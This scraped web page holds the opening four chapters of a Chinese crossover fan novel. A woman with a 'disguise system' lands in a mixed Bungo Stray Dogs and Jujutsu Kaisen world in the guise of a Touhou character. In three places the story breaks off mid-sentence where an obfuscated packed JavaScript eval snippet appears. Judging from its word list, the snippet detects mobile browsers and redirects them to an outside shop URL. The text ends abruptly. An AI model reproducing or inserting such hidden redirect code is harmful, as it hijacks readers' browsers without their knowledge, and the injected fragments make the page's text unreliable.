《马甲系统绑定了幻想乡》 1. 第 1 章 仓库里，枪声、叫骂声、求饶声混杂在一起，不停地有子弹射中人体，不停地有人在混乱中倒下。 仓库外，右眼缠着绷带的少年盘坐在堆放的杂物之上，等待一个早已注定的结局。他背后的方向能看到只要身在这所城市就一定会注目的建筑——高耸的五栋漆黑大厦，那正是名为“横滨”的城市的标志。 混乱而嘈杂的声音似乎没法带给少年任何触动，他百无聊赖地坐在那里摆弄着手机，直至声音平息。 “太宰大人，已经全部处理掉了！”只见一个黑衣人从仓库里跑出，低头就对少年汇报到。 太宰治闻言抬眼看向他，语气无波无澜：“是吗？那今天的工作可以告一段落了。” 黑衣人瞬间露出了想说什么却又不敢说的表情。 看到他那副样子，太宰治皱起眉头，抬起那缠满医用绷带的右手：“我知道，还要回去和首领汇报情况是吧？真是麻烦。” 因为太宰治那不耐烦的表现，黑衣人更是大气都不敢出一口。 只要是在港口Mafia里混过一段时间的人都知道，面前的这个少年是位很有潜力的干部候补——能力优秀，性格却难以捉摸，耍人的手段也是层出不穷。 一旦成为他的部下，就需要时刻小心翼翼，生怕什么时候就惹到这位对自己狠、对别人更狠的恶魔。 对黑衣人的态度习以为常，再加上今天实在是提不起捉弄人的兴致，太宰治摆摆手：“让里面的家伙动作快点，别让我等太久。” 黑衣人恭敬地应了一声，转身又进入仓库。 太宰治抬头看向天空，天色早已入暮，然而虽然能看到月亮，星星却不见一颗。 “这种日子还要持续到什么时候啊……”他的感叹伴随着微风引入夜色。 在黑衣人们收拾完离开仓库时，太宰治已经恢复成了平常的样子，他面无表情地扫了一眼规矩地站在他面前等候指示的手下们，双手插进衣兜，风衣随着微风轻轻拂动。 “回去了。” 听到命令，黑衣人们连忙紧跟在他身后，就怕走得太快亦或是太慢会引起这位干部候补的不满。 太宰治不用回头都能猜到黑衣人们的动作，甚至神情。 “无趣，真是太无趣了。”他抱怨道。 不管是一如既往的工作，还是敌人那毫无意外的行动，又或者是身后这群人千篇一律的反应，都只能用无趣二字来形容。 “就不能来点什么有趣的展开吗……”太宰治深深地叹了口气。 要不干脆去找点新鲜的自杀手法试试好了？他甚至已经开始这么想了——然而也就是这时，他看到了前方道路上有一个人影，一个本应不该出现这里的身影。 那是一名外表如同人偶一般精致的少女，但凡见过她容貌的，少有人会吝啬自己的赞美之词。 她有着一头茂密的沙金色短发，红色蕾丝发箍简单点缀其间，苍蓝色的瞳孔清澈明亮，如同价值连城的蓝宝石。明明身材娇小，却穿了一条藏青色无袖长裙，纤细的手臂裸/露在外，很难让人不注意到她手中拿着的那本被红色十字所束缚的书。 而现在，这位美丽的少女眉头微皱，似乎正在因为什么事情发愁。 这可真是一个惊喜！ 太宰治眼睛一亮，快步走向金发少女，向她搭起了话：“你好呀，美丽的小姐，请问有什么需要帮忙的吗？” 金发少女听到搭话声后抬起头，眼里才终于映入太宰治的模样，她和太宰治对视几秒，最后冷淡地摇头回答：“不需要。” 口音是和她西方人外表完全不符的标准日语。 ——不应该出现在这里的妖怪少女，爱丽丝·玛格特罗伊德，自然不是真正的本人，而是名为白银的存在披上的马甲。 没错，马甲。 白银在二次元文化中沉浸多年，不仅是小说、动画、漫画，连二次创作同人都涉猎了不少，因此，她对当下流行的马甲文也很是了解。 只是她没想到，自己不过在昨夜于射手座流星雨降落的时候，开玩笑般地许下了一个想要绑定系统的心愿，第二天就被马甲系统找上了。 作为一个不愁吃穿、也没啥眷念的孤家寡人，她二话不说就答应了系统的绑定，谁知道刚绑定上就出了问题。 问题并不在系统本身身上，而是出在系统在结合她的爱好以及“不扮演男性角色”的要求之后绑定的卡池身上。 东方，这是一个群体庞大且历史悠久的IP，即使每年都有人说“东方要凉”，到现在也依然活得风生水起、产出稳定。而这个IP里，绝大多数的角色都是妖怪，其中包括摸鱼的妖怪、热衷搞事的妖怪、看热闹不嫌事大的妖怪等等…… 先不提要去的世界里有没有妖怪的存在，光是怎么用妖怪混入人类社会这一点就足够让她头疼了，毕竟有些妖怪的特征实在是过于明显。 她虽然有向系统提出异议，但系统却表明一旦绑定卡池就不能更换。 可你也没有在选之前问我一声啊！——这就是白银当时的想法。 木已成舟，她索性就接受了即将扮作妖怪的事实。 白银不觉得自己的要求有差错，毕竟男性和女性的下意识动作总还是有点区别的，她没觉得自己能天赋异禀到完美扮演男性。再加上最近动画里的人物一个个都多智近妖，怕不是只要她有哪点没做好，那些人分分钟就能掀她马甲送她回家，因此妖怪的设定从某种意义上来说也还算便利。 然后就是第二个问题。 系统在忽悠她把赠送的初始十连抽掉后，二话不说，就直接开启传送把她丢到了这个世界。要不是她反应快，立马披上了刚到手的爱丽丝马甲，她恐怕得真身降落在这个地方。 也就是说，她现在对这个世界是零了解。 所以别看她对太宰治态度冷淡，其实心里慌得一批——即使在看到那五栋漆黑的大楼后有了心理准备，她也没想到这么快就会遇到自己心目中最难搞的人之一。 看看现在的太宰治！眼缠绷带，身后跟着一堆黑衣人，摆明了就是刚刚才工作完的黑手党太宰治！让一无所知的她直面这个时期的太宰治，这不是地狱开局还能是什么？！ 看过文野的人谁不知道，太宰治是在整个横滨要离得越远越好的人物之一，贸然接近很有可能就会落到被卖了还要帮忙数钱的地步。虽然眼前这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053126|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治多半没有几年后那么夸张，但同样的，这个时期的他可没有手下留情或者帮助他人这种概念。 会主动找上自己，肯定也是已经发现自己身上奇怪的点，所以跑来试探。 啊不行不行，得赶紧开溜，她还什么都没准备呢。这么想着的白银开始在脑内疯狂呼叫系统。 【统——系统——爹——快想想办法啊——】 【乖女儿，这个世界的资料和马甲休息的场所二选一。】系统毫不客气地应了她的称呼，并贴心地给了她两个选择。 【休息的场所！休息的场所！】白银赶忙回答。 可以离开太宰治的视线是一件多么美妙的事，白银心情一放松，面色也就跟着舒展开来。 “这位小姐……？”爱丽丝的表情变化落入太宰治的眼中，他挑了挑眉，故作关心地开口。 爱丽丝朝他微微一笑，精致的脸庞展现出比之前更大的杀伤力，她用心情好上不少的声线告诉对方：“我要走了，再见。” 然后她就趁着太宰治身后的黑衣人们被刚刚那个笑容给迷惑的间隙，在太宰治若有所思的目光中走出了他们的视线。 熟悉的隙间出现在她的前方，担心有人会追过来，她就没给自己做面对那些精污眼球的心理建设，闭着眼直接踏入其中。 太宰治在确认爱丽丝离开后就收敛了神色，面无表情地扫视了一圈身后面色各异的黑衣人，眼神看不出喜怒。 就如白银所想，他上前搭话的理由当然不是出于好心，而是被本不该出现在此地的爱丽丝给引出了好奇心。 虽然想靠着聊天打探点消息，却没料到爱丽丝似乎很着急离开的模样，更没想到自己这些手下能不中用到这个地步，在对方离开之后才完全回过神来。 “怎么？没见过美少女？”太宰治冷笑一声，质问到。 黑衣人们纷纷露出了羞愧中带点恐惧的神情，生怕太宰治用这个理由处罚他们，但好在太宰治似乎并没有这样的想法，只是冷漠地吩咐：“愣着干什么，还不去跟上去看看？” 其中一名立马朝爱丽丝离开的方向跑去。 当然，太宰治不用听他的汇报也能知道，那名少女此时一定已经不见踪影。 * “——以上，就是今天的成果。”首领办公室内，太宰治无精打采地做出总结。 森鸥外一手撑着下巴，一手有节奏地敲击着桌面。他没有对太宰治的工作做出评价，而是把注意力放在了报告中最后出现的那名金发少女身上：“太宰君，你为什么就那么放任那个女孩走掉？” 太宰治的行为能唬住部下，却骗不过他——要是真有阻拦对方的想法，太宰治又怎么可能任由手下发呆，目送对方离开。 那马后炮的行为，恰巧证明了太宰治就是故意放任事情那么发展的。 太宰治点点头，既不掩饰也不辩驳，只是用无辜的语气回答：“反正也拦不住嘛。” 森鸥外眼睛眯起，像是在警告他一般：“我想你应该知道，如今我们正处在需要需要减少不必要损失的阶段。” “我当然知道，就是因为知道，所以才这么做的啊。”太宰治摊手。 2. 第 2 章 End of 森鸥外用那双总是算计着什么的眸子直直盯着太宰治，太宰治则神色毫无变化地回望他。 半晌，就像是确信了什么一般，森鸥外叹了口气：“既然这是你的判断，那我就不多问什么了。” “那还真是多谢首领的信任。”太宰治一点都不意外不心虚地接受了这个结果。 “喂，林太郎！”一直都在屋内，之前还安安静静待在一旁画画的金发萝莉此刻突然出声，用一副生气的口吻插入两人的对话，“你要把我晾到什么时候？！” 森鸥外原本充满威严的口吻在面对她时变得黏糊起来，语气也有些委屈：“爱丽丝酱……” 太宰治知道这是森鸥外在下逐客令了。 要是放在平常，他只会嫌弃这种毫无意义的闹剧，但在今天，听到森鸥外对自己的异能生命体的称呼时，他却有些想笑。 当然没有真的笑出声，在识趣地告退之后，他哼着歌溜达进了自己的办公室，关上门捣鼓半天，终于翻出了一部不合时代的老旧手机。连手上的绷带稍微有些散落都没在意，他手速飞快地在联络群里发出一条消息后，脸上扬起有些得意的笑容。 联络群因为他的发言骤然变得活跃了起来，消息叮叮咚咚弹个不停。他先是混了两句水，才把最重要的一条消息给发了出去。 在看到自己想看的回复之后，太宰治满意一笑，关掉手机就不再去管这群人的动向。 * 不知道即使自己立马开溜也丝毫不妨碍太宰治搞事，白银在系统提供的休息地对着系统面板发愁。 穿出隙间之后，她眼前的景色就变了。流水的声音、青草的气味、湛蓝的天空，一看就知道不属于现代都市的环境和不知为何有些眼熟的布局。 “这里是哪？”白银狐疑地开口问到。 【隙间之里。】 系统回复了一个让她心理阴影即将浮现出的地名。 那是白银年少无知被骗去玩的一个东方同人游戏，因为贼长的剧情和各有风味的结局而出名，成功骗取了她不少时间和眼泪，给她当时幼小的心灵留下了大大的创伤——她严重怀疑系统是出于恶趣味故意取的这种名字。 【其实你没必要那么急着走，只要再稍微接触一会儿就能抽卡了。】 但没等白银开口指责系统的不道德，系统就已经先发制人了。 于是白银的思维成功被带偏：“不行不行，直接骑脸太宰治也太看得起我了。” 她现在对这世界根本就是一无所知，在太宰治面前那就是等着被宰的对象，因此即使想要攒点数抽卡，那也得换个更合适的对象才行。 对，抽卡。谁又能想到，这个系统它提供的马甲居然得靠自己凭运气从卡池里抽出来才行…… 点开系统界面，就能看到好多个不同的卡池，有专门用来抽马甲的卡池，也有抽出马甲后才会解锁的对应人物道具卡池。点开背包，就能看到她目前收集到的三个马甲，以及一堆马甲碎片。 为什么有的马甲是完整的，有的马甲却只能抽出碎片？ 对于这个问题，系统是这么回答的：对人类友好度低的角色、能力危险度高的角色、有知名度的角色，只能靠凑齐一定数量的碎片才能兑换完整的马甲。而这“一定数量”的数量，还因为角色有所不同。 “什么垃圾抽卡游戏。”白银瘪瘪嘴吐槽到。 不怪她会这么抱怨，她需要的东西要么得从卡池里抽，要么得从商场里买，但是这卡池居然没有保底机制！简直过分！要不是有一个新手十连能保证必出一个马甲，她恐怕就真的得本体降临了。 至于关键的抽卡点数要如何获得？ 答案是靠和这世界的某些重要人物接触，接触方法不论。越是重要的人物，能提供的抽卡点数也就越多，所以系统才会觉得可惜，明明初来乍到就遇到太宰治那样的“提款机”是一件十分幸运的事。 随便找了个屋子坐到床上后，白银开始和系统闲聊。 “虽然穿越了是很好啦，不过我现在该干嘛？” 【当然是攒够点数然后抽卡。】 “你是什么抽卡游戏中毒玩家吗？”白银无语，“那个不用你说我也会去做。我是指那种，更宏大的……小说里系统不都会发布让宿主去完成的任务吗？” 【哦，那个啊。拯救世界，够宏大吧？】 这么回答着的系统把任务面板弹到白银眼前，生怕她看不到似地把字体加大加粗。 是吗是吗世界又要因为日本毁灭了吗，真是太让人意外了——没想到这系统不止是抽卡游戏，还是个RPG式抽卡游戏。 “哇~真是简单明了直接粗暴，没想到有朝一日我也能背负这种重任，真开心——”白银瞟了一眼那上面的内容，发出十分棒读的惊呼声。 【真心话是？】 “诶，好麻烦。”白银一脸嫌弃。 攒抽卡点数是一件开心的事，不仅能和她喜欢的人物贴贴，又能从卡池里抽出自己偏爱的马甲，可谓一举两得。但拯救世界就不一样了，劳心费力，系统还不给她任何提示。 看看这面板上写的东西吧，“毁灭原因：自己去找”“注意事项：自己思考”“关键人物：那可真多”，这哪像是任务提示该有的样子？？ 她试探着发问：“我要说我不想做任务，你会不会惩罚我？” 【怎么会，你看我像是那种不讲理的系统吗？】 系统虽然表面上这么回答，但心里其实想着反正即使白银现在不想管，之后也会想管。而自己自发想要做某件事的效果要比被人强迫去做的效果好上许多，它才没必要搞那种名堂。 “噢，那可真不错。”白银说着，手指在面板上划了划。突然在人物界面看到某样东西，她用很感兴趣的声音问：“这个问号是什么？” 【是隐藏任务。】 系统回答之后，明显感到白银的热情上升了一个档次。 只见她托着下巴喃喃自语：“隐藏任务，真让人感兴趣……” 【你不嫌麻烦了？】 白银啧啧两声，用深沉的口吻对系统说到：“系统，这你就不懂了吧。你知道人类为什么能发展到现在这个地步吗？没错，是因为求知欲！” “对未知的好奇！对神秘的探求！才是人类进步的关键！”像是来了兴趣一般，她神情里充满了陶醉，“眼前有个不知道装了什么的盒子，就会想要把它打开；眼前有个不知谜底的谜题，就会想要把它解开。” “与此同理，游戏里有隐藏任务和隐藏成就，就会想要完成它！” 【哦……那拯救世界？】 “我会加油的。”白银语气一秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053127|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得棒读。 在把系统界面研究了好一会儿之后，确认暂时没有其他值得注意的东西，她问：“所以，这世界具体是个什么情况啊？” 被丢到这世界来之前，她只来得及听系统说了一句这里是和原作不同的衍生世界，除此之外的内容就完全不知道了。 现在姑且知道这世界有异能力者和普通人的设定，但能让系统发布拯救世界这种任务，多半还有她没见到的复杂设定。 【是综漫。】 白银想了想那些作品里动不动就要毁灭世界、重塑世界、消灭人类的反派们，再想想把他们聚在一起会发生的场景，突然觉得自己懂了系统发布这任务的理由。 “至少现在就能确定有个叫作天人五衰的组织会在未来搞事……”她这么碎碎念着，想起文野最新的剧情，只觉得脑壳疼。 “既然是综漫，那这世界除了异能力者，其他还有啥？” 【嗯……有咒术师。】 哦，也就是说有个发了一千年呆的老大爷、一个脑门上有缝合线的神经病、一群想要杀光人类的特级诅咒，或许还有想要建立只有咒术师世界的某苦夏人士？ 她突然想到，文野那边的陀思试图建立一个只有普通人的世界，咒回这边的夏油杰却满脑子想着除掉普通人，要是让这两人遇上，不知道会发生什么？当然，世界应该没有小到那么凑巧让他俩碰面……应该没有吧？ 【有米花町。】 阿这，柯南剧场的犯罪率，再加上诅咒的设定，这世界的咒术师们当真不会过劳死？ 【有认知诃学。】 ……？你确定那个是能和异能力以及咒术共同存在的东西？不过p5结局还算不错，貌似并没有她插手的必要。 【还有魔女。】 魔女，是哪个魔女？不会是她想的那个会四处散播诅咒和恶意的由魔法少女转变成的魔女吧？她是不是该立刻把小圆隔离起来？ “我说系统，”白银终于有些绷不住了，她一手捂脸，沉痛地道，“这世界凭什么还没被毁灭？！” 要素多过头了！而且负面情绪也太多了！ 异能力者全都有悲惨的过去；诅咒源自人类的负面情绪；柯南剧场那边的人老是因为屁大点事儿就采取最极端的手段，怎么想都不对劲；认知世界里的阴影是从人心中的负面意识诞生的；就连最后的魔女也是出生自魔法少女的绝望。 这么看下来，世界的危机不全都是人类自己负面太强了导致的吗？！ 【怎样，有拯救世界的想法了吗？】 “更没动力了！” 这种被负面填满了的世界毁灭了算了！究竟有什么拯救的必要？！ 不过白银虽然回答得很是悲愤，但实际上并没有把这些东西放在心上，毕竟她原本就没打算要做拯救世界这种英雄般的举动，所以就算这世界再混乱也不妨碍她的行动。 她不再像系统询问其他，低下头开始研究明天出门要带的马甲。 新手十连让她抽到了三个马甲，其中的玛艾露贝莉·赫恩、通称梅莉的马甲，在拥有宇佐见莲子的情况下才能使用。白银发现这点，顺口就调侃了一句系统是隐藏的秘封厨，但被系统矢口否认了。 剩下能用的两个马甲，爱丽丝·玛格特罗伊德和上白泽慧音，她下次该用哪一个？ 3. 第 3 章 白银站在隙间面前整理了一下自己的衣服。 鉴于这世界的设定错综复杂，她最终选择了武力值更高、能力更简单的爱丽丝马甲，用于保证自己的安危。 系统提供的隙间出口有三种，一种是上次进入隙间之里时的地点，一种是在系统能定位的东西旁边，最后一种就是考虑运气的随机出口。 第一种肯定不能考虑，她可不想连续两天跑到港口Mafia的地盘，第二种也不行，她还没有在外界留下什么痕迹，因此只能选择随机。 在踏出隙间之里后，爱丽丝被眼前的东西给恶心到了。 之所以不是被吓到而是被恶心到，是因为她面前站着一只长相奇特、充满扭曲感与违和感的怪物，那怪物有个名字，叫作诅咒。 虽然昨天听系统讲这世界有咒术师的时候她就已经做好准备，但没想到这么快就能直接碰上，而且还是近距离。 她必须得抱怨一下——就算出口随机，也别把她随到诅咒的面前啊，太危险了！面前这是个低级诅咒倒还好，要是开门撞上特级诅咒，那她可真是笑不出来。 本想着直接解决掉面前这东西，但一来她现在还没有人偶，二来……妖怪的灵敏感官告诉她，这个空间有另外的人在。 特意藏起来不现身，呼吸听上去也不急促，那多半就是前来祓除咒灵、在看到隙间之后躲起来观察情况的咒术师了。 ——这不就是和咒术界接触的好机会吗？ 要知道，咒术界的那群人可比太宰治要好忽悠多了！ 看了眼明明在自己面前却不知为何没有攻击自己的诅咒，爱丽丝挑眉，当即就进行一个戏的演。 “……虽然知道出口是随机的，不过这也太过分了，真希望下次能被丢到一个好地方。”她叹了口气抱怨到，“现在该怎么办，紫？这里看上去不像是有我们要找的人的样子，不如你再把隙间打开，我们重头来过？” 看上去像是在和谁对话，不过实际上只是在做做样子而已。她若无其事地把一些情报混入刚刚的话语里，等待藏起来的咒术师的反应。 几乎是在下一秒，爱丽丝身后的某个方向就传来了一个有些耳熟的声音：“那边的人，别动！” 你说不动我就不动，那我岂不是很没有面子？爱丽丝于是朝旁边移了几步，给那个冲出来的人腾出她祓除诅咒需要的空间。 运气不错，这个被指派来解决低级诅咒的咒术师，恰好是她认识的人，东京都立高等专门学校的禅院真希。 看到对方利落地两三下就将诅咒祓除的模样，爱丽丝面上不显，却在心里赞赏地鼓了鼓掌。 而在禅院真希将视线投向自己的时候，她十分礼貌得体地打起了招呼：“早上好，素未谋面的小姐，让我留下是有什么事？” 她一边装不熟，一边悄悄吃桃——不知道能不能跟着禅院真希去咒高参观，说不定运气好还能碰到五条悟，毕竟那个人应该在当老师嘛。 禅院真希则因为爱丽丝的态度皱起了眉头。 目前还只是一年级学生的禅院真希，只能接取一些与低级诅咒有关的任务，今天也是如此。她本以为这次的任务会一如既往的轻松，却没想到在她到达目的地、找到目标的诅咒、正准备上前祓除的时候出现了意外。 在诅咒的前方，原本什么都没有的地带，空间突然出现了一条缝隙。 她不知道能不能将之称为缝隙，反正看上去像是空间突然裂开，露出了里面密密麻麻的眼睛。 有那么一瞬间，她产生了自己和那些眼睛对上视线的错觉，但仔细一瞧，那些眼睛并没有注视着谁，只是单纯存在于那里。 禅院真希下意识躲了起来。 这个行为并不是出于害怕的心理。 她以前也见过很多恐怖且恶心的诅咒，这布满眼睛的缝隙虽然诡异得令人发寒，但还在接受范围内。之所以躲起来，是因为她大约猜到那缝隙是空间能力的一种，有“什么”马上要从里面出来了。 在不知道出来的会是什么的情况下，隐藏自身观察情况是最稳健的做法。 出乎她的意料，从那里面出来的并不是可怕的玩意儿，而是一个就连她都会不由自主赞赏一句的漂亮女孩。 谨慎起见，她把戴着的眼镜取下——作为没有咒力的天与咒缚，她失去那副眼镜就看不见诅咒——视野中的诅咒消失了，金发女孩却仍然还在。 至少那个女孩不是咒灵，她在确认这一点后重新戴上眼镜。 总之，现场出现异常状况都需要向“窗”汇报，禅院真希掏出手机，在保证自己不会被发现的情况下，将目前的状态发给了负责这块地区的辅助监督。 放下手机后她开始思考。 女孩的视线落在咒灵身上，就证明她和自己不一样，是有能力的人。就算直接被丢在诅咒面前也毫不慌乱，说明她有一定的实力，至少这个三级诅咒对她来说是无害的。 那她是咒术师？诅咒师？还是异能力者？又或者说是那个……魔法少女？那个长着眼睛的缝隙就是她的能力或者魔法？ 就在这时，明明女孩手里并没有拿着手机之类的玩意，她却突然对谁抱怨了起来。 是有通讯术式之类的东西？不管如何，至少能确定对方有同伴。 抱怨声中似乎隐藏了不少信息，禅院真希默默将之记在心里，然后就开始纠结起自己该怎么行动，因为听女孩话里的意思，她似乎马上就能离开。 ——其实让对方直接离开更合她意，虽然之后辅助监督那边肯定会变得很啰嗦。 但可惜，“窗”给的回复要比她们两人的下一步行动都快。亮起的手机屏幕上显示出新的消息，那头希望禅院真希能尽量把陌生少女带回去，指出那名少女有责任对自己的情况进行说明。 她一边在心里抱怨这回复来得太恰好，一边从藏身的地方走了出去。 禅院真希做出判断，既然回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053128|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复中写的是“尽量”，那应该优先的行动便是祓除诅咒。因此她只是出声警告了一句，就拿着咒具冲向了诅咒。 至于女孩会不会听她的、是会直接离开还是停在原地，都不在她的考虑范围之内，反正她已经依照指示“尽量”努力过了。 没想到女孩真就没有离开，还游刃有余地和自己打起了招呼。 “上午好……”禅院真希定了定神，回应到。 即便她觉得“窗”的要求很麻烦，却也不能真的无视，既然这女孩看上去很通情达理、不像是要找事的样子，那只要说明情况就应该会配合吧？ 这么想着的她用公事公办的语气开口说到：“关于你突然出现在祓除诅咒的场所这件事，相关的负责人员希望你能进行说明。” 爱丽丝推测出这个相关负责人员应该是指“窗”的人员。 不是五条悟就算了，假设连咒术师都不是的话…… “遗憾的是我不能去。”她摇摇头，拒绝了禅院真希的要求。 和“窗”进行接触纯属是吃力不讨好的行为，不仅拿不到抽卡点数，还会因为身份问题惹上麻烦，要知道她现在可是一个在外界身无分文、且没有身份证明的妖怪。 禅院真希有些意外：“为什么？” 爱丽丝用带着莫名笑意的眼神看向她：“很简单，因为我不是人类。” “不是人类？……诅咒吗？！” 如果是玩笑，那这真是让咒术师没法发笑的玩笑，而如果不是玩笑的话…… 即使之前已经通过自己的双眼排除掉了这个答案，禅院真希还是第一时间拉远距离、摆出临战姿态，马尾因为她的动作摇晃起来，她开始疯狂思考为什么没有咒力的自己也能看到面前的这个“人”。 按理来讲，不管是多么强大的诅咒，除了临死以外，没有咒力的普通人都无法看到它们的存在，而她刚刚的情况再怎么想都不能算是将死之际。 莫非面前这个诅咒比较特殊？特殊到能被普通人看到？ 可真的会有这样的诅咒存在吗？而且假如对方真是诅咒，又为什么要自己挑明自己不是人类？明明都已经骗过她了…… 注视着禅院真希的举动，爱丽丝心下了然，以对方下意识的反应来推断，这世界确实没有妖怪存在的设定。 虽然昨天系统没有向她提及妖怪一类，但她又不能确定系统有没有隐瞒什么，现在总算是可以放下心了。 没有妖怪很好，方便她自由发挥幻想乡的设定。 看着警惕的禅院真希，爱丽丝宽慰般地朝她笑了笑，然后纠正了她的回答：“刚刚的那个就是一种诅咒吧？希望你不要把我们和那种东西混为一谈。虽然有些相似的地方，不过我们是另一种生物。” “是曾经被你们人类畏惧，后来被否定、被遗忘、被抛弃的——名为‘妖怪’的存在。” “……哈？”禅院真希拿着咒具的手一顿，然后缓缓打出了一个问号。 4. 第 4 章 Magic Shop 禅院真希在脑子里进行了一番严谨的思考。 面前这人对待诅咒是习以为常的态度，说明她从很久以前就已经能看到诅咒、能使用能力了，但她却宣言自己是即使咒术师的历史里也无法证明曾经有存在过的妖怪，这代表了什么？ 她不自觉地浮现出一个猜想：“中、中二病？” 自己有特殊的力量，周围却没有和自己相同的人，于是产生了“我和其他人不一样”的想法。又因为没接触过咒术界，还看到和妖怪有关的传说，所以认为自己是妖怪之类的存在？说不定还被周围的人冠上过“怪物”“妖怪”之类的词汇…… 不相信妖怪的禅院真希觉得自己的推测很是靠谱。 【中二病，她说中二病】本来静静看表演的系统突然被戳中了笑点，在爱丽丝脑子里笑个不停。 爱丽丝的表情有一瞬的僵硬。她虽然知道自己不会被轻易相信，但没想到居然会被当成中二病，还惨遭无良系统嘲笑。 不过这种程度也算不了什么。 她叹口气，作出无奈的表情：“毕竟妖怪们已经销声匿迹很久了，一般人不相信也是正常的，不过就连你这种知晓非人之物的人都这样……” 禅院真希慢慢放下咒具，面色显得有些凝重。 ——不好，居然被说中二病了都没有生气，已经坚信自己是妖怪到这种地步，想要让她对自己有个正确的认知大概会很困难。可即使如此也得想办法让她接触到正确的知识，让她明白自己只是个有能力的、稍微有些特殊的人类。 这世界确实有很多特殊的人类存在，但妖怪什么的，只存在于传说故事和幻想里！ “我明白了，既然你不想接触普通人，不如和我一起回学校。”这里就应该让可靠的老师出马，禅院真希想，“我的老师是特级咒术师，他的话一定能帮助你。” ——一定能帮助你重新树立一个正确的世界观。 【完全ww没有ww相信你w】这是友情提供微表情分析的系统。 【系统闭嘴。】这是被系统吵到的爱丽丝。 反正这种发展对她来说利大于弊，不被相信并不妨碍她接下来要去见五条悟，不如说她还应该感谢一下为自己提供机会的禅院真希。至于证明自己的身份……既然是那个拥有六眼的五条悟，多半一眼就能看穿她到底是怎样的存在，到时候其他人不信也得信，所以她一点都不着急。 故作犹豫一会儿，爱丽丝最终愉快地接受了禅院真希的提议。 而禅院真希在得到她的同意后，一边用手机将大致的情况告诉了自家同学、老师还有辅助监督，一边对爱丽丝说：“稍等，一会儿有人会来接我们……那个，你的名字是？” “爱丽丝，爱丽丝·玛格特罗伊德。” “好的，爱丽丝。我叫禅院真希，可以的话希望你能用姓氏以外的来称呼我。” 几分钟后，爱丽丝跟着禅院真希坐上了车，开车的人不出所料是伊地知洁高。 大概是因为事前已经打过招呼，伊地知洁高只是简单地跟爱丽丝问了下好，没有说其他多余的话。而爱丽丝因为不是会对陌生人多话的性格，问候过后就开始低头发呆。 伊地知洁高便趁机悄悄地从后视镜中观察了一下爱丽丝。 看上去年龄和禅院真希差不了多少，这样的孩子到底是有过什么样的经历，才会特别坚定地相信自己是妖怪？ 身为东京高专的辅助监督，他对现在的一年生还算了解，自然知道狗卷棘在小时候因为控制不了自己的术式，被周围的人排挤、厌恶的事，因此对爱丽丝的过去产生一些了不好的联想。 是不是这孩子也有差不多的经历？ 他时常会觉得这个世界过于残酷。不管是出生在咒术世家的普通人，还是被普通人视为异类的咒术师，都有可以称得上不幸的过去和不一定幸福的未来。而他身为一个普通人，做不出大事，只能默默地在他们的身后做一些辅助工作，至少希望孩子们的现在可以不要那么沉重。 所以在知道禅院真希的推测后，他发自真心想要帮助爱丽丝。 这份心意值得尊敬，哪怕它源自误解。 虽然被担心的本人，此时内心正处于亢奋的状态——系统提示她，在经过和禅院真希相处的这一段时间后，十连的资源如愿以偿的凑齐了。 【抽卡的时间到啦～耶——！】 【耶——！每次抽卡你都特别兴奋啊系统。】 【哎呀，我就是喜欢看人抽卡嘛，还不许系统有点小爱好了？】 【喜欢看人抽卡暴死还差不多。】 【不愧是你，很懂哦。】 白银微微一笑：那可不。 她玩过这么多的抽卡游戏，当海豹的次数屈指可数，自然很懂怎么安慰自己。她老喜欢看非酋抽卡了，别人沉船时的惨叫和痛哭能让她暂时忘记自己也是个非洲人的事实。 【抽哪边？】系统问。 【当然是爱丽丝的池子，我必须马上拥有人偶。】白银毫不犹豫。 爱丽丝·玛格特罗伊德，居住在幻想乡魔法森林里的魔法使之一，擅长操纵人偶的魔法。她的人偶看上去仿佛都拥有自我意识一般能灵活行动，实际背后都是她在操纵，这便是爱丽丝的卖点。 然而这样的她，如今却连一只人偶都没有，这让白银怎么能忍？ 况且等会就要去高专了，带上人偶能让她更有安全感。 系统于是贴心地显示出对应卡池的画面，让白银能看到卡池提供的东西：不同种类的人偶，包括近战型、远程型、爆炸型、万能型、特殊型，还有制作人偶用的部件、空白符卡以及其他一些东西。 【嗯？符卡？】 【对，符卡。】 在幻想乡里，为了不使出高于必要力量而制定的、名为弹幕游戏的规则中，所使用的攻击手段便是符卡这一存在。 不过系统提供的符卡和那个有些不一样，毕竟在外界没有“弹幕游戏”的束缚，就不需要特意限制威力。 而以爱丽丝的情况举例，事先在空白符卡里设定好人偶的数量、人偶的行动模式，使用的时候就不再需要额外进行操作。因此符卡属于消耗小且杀伤力大的高级道具，抽到就是赚到。 【真大 